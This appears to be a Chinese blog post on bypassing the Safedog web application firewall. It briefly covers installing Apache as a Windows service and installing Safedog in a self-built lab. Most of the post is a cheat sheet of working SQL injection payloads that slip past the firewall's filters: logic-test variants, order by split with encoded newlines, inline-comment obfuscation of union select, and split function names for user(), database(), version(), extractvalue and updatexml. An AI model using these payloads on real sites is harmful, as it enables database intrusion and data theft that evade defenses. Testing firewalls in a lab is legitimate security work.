win环境下安全狗测试绕过
部署测试环境
下载网站安全狗
查看Apache服务是否存在
在这之前要先查看服务里有没有Apache,一般是用PHPstudy集成环境测试的话,是没有这个服务的,需要自己手动添加一下
管理员模式打开cmd
进入Apache的bin目录下
cd c:\phpstudy\phptutorial\apache\bin
运行命令安装Apache
httpd.exe -k install -n apache2.4 #apache2.4就是你的服务名,可以自定义
安装之后,看到服务名称出现了
安装网站安全狗
然后就可以安装安全狗了(我自己设置的服务名叫apache2.4)(刚安了的卸载重安一遍)
此处服务名应该是你自己设置的服务名
![](https://img2020.cnblogs.com/blog/1891304/202007/1891304-20200727151816255-1051406282.png)
安装后出现的界面
第一次安装会让你注册登录,那就注册登录,但是它老是让你重新登录,可我登录了啊,这就不管它得了,让它在这放着
出现提示被网站管理员拦截,说明WAF起作用了。
bypass绕过安全狗
ps:此次测试环境是我自己搭建的小环境,靶场都是类似的,只是数据库查询语句和页面长相不同
如何绕过and 1=1
因为and 1=1和and 1=2 的目的就是为了验证是否存在可能注入点,如果被过滤掉,就用逻辑语句测试(有时候1=1不行可以试-1=-1,-1=-2)
and -1=-1,-1=-2
id=1&1 或 id=1&ty=true (&:%26)
通过测试,可以发现id参数存在注入点
快速查询
and 1=1 -- -
|
%261 -- -
|
xor1 -- -
|
and 1=2 -- -
|
%260 -- -
|
xor0 -- -
|
order by 绕过
%23%0a
知道注入点,下一步开始order by查询字段数 ,这里order和by只有可以分开就不会被检测出来
用%23%0a可绕过
order%23%0aby 3
|
内联注释绕过
/*!order /*!/*/**/by*/3-- -
|
/*!order /*/*%/**/by*/3-- -
|
/*!order /*!/*/**//**/by*/3-- -
|
/*!order /*!/*/**//*/**/by*/3-- -
|
union select 绕过
/*!union/*!/*/**/*/select/**/1,2,3 -- -
|
系统函数绕过
单独的括号和函数名都不会检测,思路就是分开函数名和括号就行
version ()
|
直接空格
|
user%0a()
|
%0a~%20有很多,类似绕过空格
|
database/**/()
|
注释符
|
user/*!*/()
|
内敛注释
|
函数名绕过
在报错注入的时候可以用这个格式绕过
/*!extractvalue/*!/*/**/*/
|
/*!updatexml/*!/*/**/*/
|
万能绕过的payload
针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
|
/*!database/*!/*/**/*/()/**/
|
/*!order/*!/*/**/*/by/**/
|
针对单独的一个关键字
/*!union/*!/*/**/*/
|
/*!updatexml/*!/*/**/*/
|
/*!extractvalue/*!/*/**/*/
|
快速查询
=
|
/*!*/=/*!*/
|
order
|
/*!order/*!/*/**/*/
|
and
|
/*!and/*!/*/**/*/
|
or
|
/*!or/*!/*/**/*/
|
union
|
/*!union/*!/*/**/*/
|
select
|
/*!select/*!/*/**/*/
|
user()
|
/*!user/*!/*/**/*/()/**/
|
database()
|
/*!database/*!/*/**/*/()/**/
|
version()
|
/*!version/*!/*/**/*/()/**/
|
session_user()
|
/*!session_user/*!/*/**/*/()/**/
|
extractvalue
|
/*!extractvalue/*!/*/**/*/()/**/
|
updatexml
|
/*!updatexml/*!/*/**/*/
|
参考链接